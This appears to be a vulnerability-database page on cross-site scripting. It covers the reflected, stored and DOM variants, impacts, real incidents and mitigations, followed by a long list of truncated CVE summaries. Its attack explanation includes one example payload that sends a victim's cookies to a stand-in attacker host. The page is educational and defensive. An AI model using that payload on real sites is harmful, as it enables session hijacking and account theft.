Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (39192)
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - DOM in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site scripting vulnerability in Appointment and Event Booking Calendar for WordPress - Amelia versions prior to 1.0.76 allows a remote unauthenticated attacker to inject an arbitrary script by. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site scripting vulnerability in Joruri Gw Ver 3.2.5 and earlier allows a remote authenticated attacker to inject an arbitrary script via Message Memo function of the affected product. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Generic in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 11.0 and below that may allow a remote, authenticated attacker to create a crafted link which when clicked could render. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.
Multiple stored cross-site scripting (XSS) vulnerabilities in FICO Origination Manager Decision Module 4.8.1 allow attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
There is a reflected XSS vulnerability in Esri Portal for ArcGIS versions 10.9.1and below which may allow a remote, unauthenticated attacker to create a crafted link which when clicked could. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
There is a reflected XSS vulnerability in Esri Portal for ArcGIS versions 10.9.1and before which may allow a remote, unauthenticated attacker to create a crafted link which when clicked could. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
XWiki Platform is a generic wiki platform. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Time Tracker is an open source time tracking system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via a crafted payload to the personal notes function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via a crafted payload to the My Progress function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local authenticated attacker to execute arbitrary code via the homepage function. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the course category parameters. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the resource sequencing parameters. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the skype and linedin_url parameters. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the skills wheel parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the forum title parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the system annnouncements parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Craft CMS is a content management system. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
`org.xwiki.commons:xwiki-commons-xml` is an XML library used by the open-source wiki platform XWiki. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitHub repository nilsteampassnet/teampass prior to 3.0.7. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
SAP Business Planning and Consolidation - versions 740, 750, allows an authorized attacker to upload a malicious file, resulting in Cross-Site Scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Due to insufficient input validation, SAP BusinessObjects Business Intelligence Platform - versions 420, 430, allows an unauthenticated attacker to redirect users to untrusted site using a malicious. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Due to improper neutralization of input in SAPUI5 - versions SAP_UI 750, SAP_UI 754, SAP_UI 755, SAP_UI 756, SAP_UI 757, UI_700 200, sap.m.FormattedText SAPUI5 control allows injection of untrusted. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SAP CRM (WebClient UI) - versions S4FND 102, S4FND 103, S4FND 104, S4FND 105, S4FND 106, S4FND 107, WEBCUIF 700, WEBCUIF 701, WEBCUIF 731, WEBCUIF 746, WEBCUIF 747, WEBCUIF 748, WEBCUIF 800, WEBCUIF. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Due to insufficient input validation, SAP BusinessObjects Business Intelligence Platform - versions 420, 430, allows an unauthenticated attacker to redirect users to untrusted site using a malicious. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SAP CRM WebClient UI - versions SAPSCORE 129, S4FND 102, S4FND 103, S4FND 104, S4FND 105, S4FND 106, S4FND 107, WEBCUIF 701, WEBCUIF 731, WEBCUIF 746, WEBCUIF 747, WEBCUIF 748, WEBCUIF 800, WEBCUIF. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cybonet PineApp Mail Secure A reflected cross-site scripting (XSS) vulnerability was identified in the product, using an unspecified endpoint. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
WJJ Software - InnoKB Server, InnoKB/Console 2.2.1 - Reflected cross-site scripting (RXSS) through an unspecified request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
AsmBB v2.9.1 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the MiniMag.asm and bbcode.asm libraries. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
A prototype pollution vulnerability exists in Strikingly CMS which can result in reflected cross-site scripting (XSS) in affected applications and sites built with Strikingly. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people:id/relationships` endpoint and first_name and last_name parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people:id/work` endpoint and job and company parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people/add` endpoint and nickName, description, lastName, middleName and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people:id/introductions` endpoint and first_met_additional_info parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people:id/food` endpoint and food parameter. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `settings` endpoint and first_name parameter. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
WWBN AVideo is an open source video platform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Macho Themes NewsMag theme <= 2.4.4 versions. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The WP Popups WordPress plugin before 2.1.5.1 does not properly escape the href attribute of its spu-facebook-page shortcode before outputting it back in a page/post where the shortcode is embed,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The WP Inventory Manager WordPress plugin before 2.1.0.12 does not sanitise and escape the message parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The AI ChatBot WordPress plugin before 4.4.9 does not have authorisation and CSRF in a function hooked to init, allowing unauthenticated users to update some settings, leading to Stored XSS due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The AI ChatBot WordPress plugin before 4.4.9 does not have authorisation and CSRF in the AJAX action responsible to update the OpenAI settings, allowing any authenticated users, such as subscriber to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The AI ChatBot WordPress plugin before 4.5.1 does not sanitise and escape numerous of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The AI ChatBot WordPress plugin before 4.4.5 does not escape most of its settings before outputting them back in the dashboard, and does not have a proper CSRF check, allowing attackers to make a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Japanized For WooCommerce WordPress plugin before 2.5.8 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Pickup | Delivery | Dine-in date time WordPress plugin through 1.0.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Sloth Logo Customizer WordPress plugin through 2.0.2 does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The WP Login Box WordPress plugin through 2.0.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Custom Post Type List Shortcode WordPress plugin through 1.4.4 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Product Slider For WooCommerce Lite WordPress plugin through 1.1.7 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Wp-D3 WordPress plugin through 2.4.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Post Shortcode WordPress plugin through 2.0.9 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Membership Database WordPress plugin through 1.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Cloud Manager WordPress plugin through 1.0 does not sanitise and escape the query param ricerca before outputting it in an admin panel, allowing unauthenticated attackers to trick a logged in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Ultimate Carousel For Elementor WordPress plugin through 2.1.7 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Mega Addons For WPBakery Page Builder WordPress plugin before 4.3.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Ultimate Carousel For WPBakery Page Builder WordPress plugin through 2.6 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 39192